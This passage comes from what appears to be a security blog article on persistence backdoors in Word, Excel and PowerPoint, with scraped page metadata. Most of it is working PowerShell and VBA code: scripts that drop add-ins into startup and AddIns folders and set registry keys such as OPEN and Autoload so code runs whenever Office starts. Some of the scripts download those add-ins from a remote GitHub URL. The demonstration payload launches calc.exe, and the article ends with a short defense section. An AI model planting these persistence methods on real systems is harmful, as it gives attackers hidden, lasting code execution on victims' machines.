AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent) \u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\AddIns\\calc.xll\",$fileContentBytes)\u003Cbr>\u003Cbr>Try  \u003Cbr>{  \u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop  \u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003Cbr>    \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\" \u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\Excel\\\"\u003Cbr>New-Item -type Directory $ExcelRegPath\"Options\" | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"Options\" OPEN -value \"\u002FR calc.xll\" -propertyType string | Out-Null\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Excel VBA add-ins\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1、Manual testing\u003C\u002Fh3>\u003Cp>Start Excel, enable the Developer Tools option, select Visual Basic\u003C\u002Fp>\u003Cp>Insert a module, write the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Sub Auto_Open()\u003Cbr>    Set objShell = CreateObject(\"Wscript.Shell\")\u003Cbr>    objShell.Exec (\"calc.exe\")\u003Cbr>End Sub\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save as calc.xlam, path is:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\Excel\\XLSTART\u003C\u002Fp>\u003Cp>Start Excel.exe, calculator pops up, and Excel starts normally\u003C\u002Fp>\u003Ch3>2. Write a PowerShell script to implement\u003C\u002Fh3>\u003Cp>Save path is:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\Excel\\XLSTART\\calc.xlam\u003C\u002Fp>\u003Cp>Corresponding PowerShell code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.xlam\",$env:APPDATA+\"\\Microsoft\\Excel\\XLSTART\\calc.xlam\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 PowerPoint VBA add-ins\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual Testing\u003C\u002Fh3>\u003Cp>Launch PowerPoint, enable Developer Tools option, select Visual Basic\u003C\u002Fp>\u003Cp>Insert a module, write the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Sub Auto_Open()\u003Cbr>    Set objShell = CreateObject(\"Wscript.Shell\")\u003Cbr>    objShell.Exec (\"calc.exe\")\u003Cbr>End Sub\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save as calc.ppa, path:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\u003C\u002Fp>\u003Cp>Find registry key value:\u003C\u002Fp>\u003Cp>Key value for Office2010:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\PowerPoint\u003C\u002Fp>\u003Cp>Key value for Office2013:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\PowerPoint\u003C\u002Fp>\u003Cp>Create new key AddIns, create subkey calc (corresponding to calc.ppa)\u003C\u002Fp>\u003Cp>Create DWORD value: Autoload: 1\u003C\u002Fp>\u003Cp>Create string value: Path: calc.ppa\u003C\u002Fp>\u003Cp>Launch PowerPoint.exe, calculator pops up, and PowerPoint starts normally\u003C\u002Fp>\u003Ch3>2. Write PowerShell script to implement\u003C\u002Fh3>\u003Cp>Save path as:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\\calc.ppa\u003C\u002Fp>\u003Cp>Corresponding PowerShell code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.ppa\",$env:APPDATA+\"\\Microsoft\\AddIns\\calc.ppa\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Registry path: HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Try\u003Cbr>{\u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop\u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 )     \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\" \u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\PowerPoint\\\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Create key AddIns:\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"AddIns\" | Out-Null\u003C\u002Fp>\u003Cp>Create key calc:\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"AddIns\\calc\" | Out-Null\u003C\u002Fp>\u003Cp>Create DWORD value: Autoload: 1\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Autoload -value \"1\" -propertyType DWORD | Out-Null\u003C\u002Fp>\u003Cp>Create a new string value: Path: calc.ppa\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Path -value \"calc.ppa\" -propertyType string | Out-Null\u003C\u002Fp>\u003Cp>Complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.ppa\",$env:APPDATA+\"\\Microsoft\\AddIns\\calc.ppa\")\u003Cbr>\u003Cbr>Try\u003Cbr>{\u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop\u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 )\u003Cbr>}\u003Cbr>Catch\u003Cbr>{\u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\"\u003Cbr>    Write-Host \"[+] Please reinput a correct path.\"\u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\PowerPoint\\\"\u003Cbr>\u003Cbr>New-Item -type Directory $ExcelRegPath\"AddIns\" | Out-Null\u003Cbr>New-Item -type Directory $ExcelRegPath\"AddIns\\calc\" | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Autoload -value \"1\" -propertyType DWORD | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Path -value \"calc.ppa\" -propertyType string | Out-Null\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>I have integrated and uploaded the exploitation scripts for the above four methods to GitHub at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x06 Detection and Defense\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1、Word\u003C\u002Fh3>\u003Cp>Disable all add-ins, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017328633_2_a98dbf3219-1.jpeg\">\u003C\u002Fp>\u003Cp>Disable all controls, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017379814_3_ccab67607a-1.jpeg\">\u003C\u002Fp>\u003Cp>Disable all macros, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017400902_4_64727c3162-1.jpeg\">\u003C\u002Fp>\u003Cp>Word WLL can still execute\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense method:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Delete trusted locations:\u003C\u002Fp>\u003Cp>C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\\\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017447492_5_d1e710face-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Do not use environment variable %appdata% when adding\u003C\u002Fp>\u003Ch3>2. Excel\u003C\u002Fh3>\u003Cp>Excel XLL and Excel VBA add-ins:\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense methods:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Disable all add-ins\u003C\u002Fp>\u003Ch3>3、PowerPoint\u003C\u002Fh3>\u003Cp>PowerPoint VBA add-ins:\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense methods:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Disable all add-ins\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces four common backdoor exploitation methods in Word, Excel, and PowerPoint under the x86 system, provides open-source POC scripts for testing, and finally, from a defensive perspective, details specific defense methods. The exploitation methods for x64 systems can be appropriately modified.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1170,"Onedaysec",6,"published","2026-02-02T07:51:00.263Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Office Persistence Backdoor Exploitation Methods & POC Script","Office persistence, Word WLL backdoor, Excel add-in, PowerPoint VBA, PowerShell automation, Windows security, exploit methods, defense analysis",null,false,[],{"docs":43,"hasNextPage":40},[4,44,45,46],434,433,432,{"title":39,"description":39,"image":39},"2026-07-24T15:37:13.378Z","2026-07-23T16:01:34.471Z","draft","2026-07-23T16:06:14.573Z"]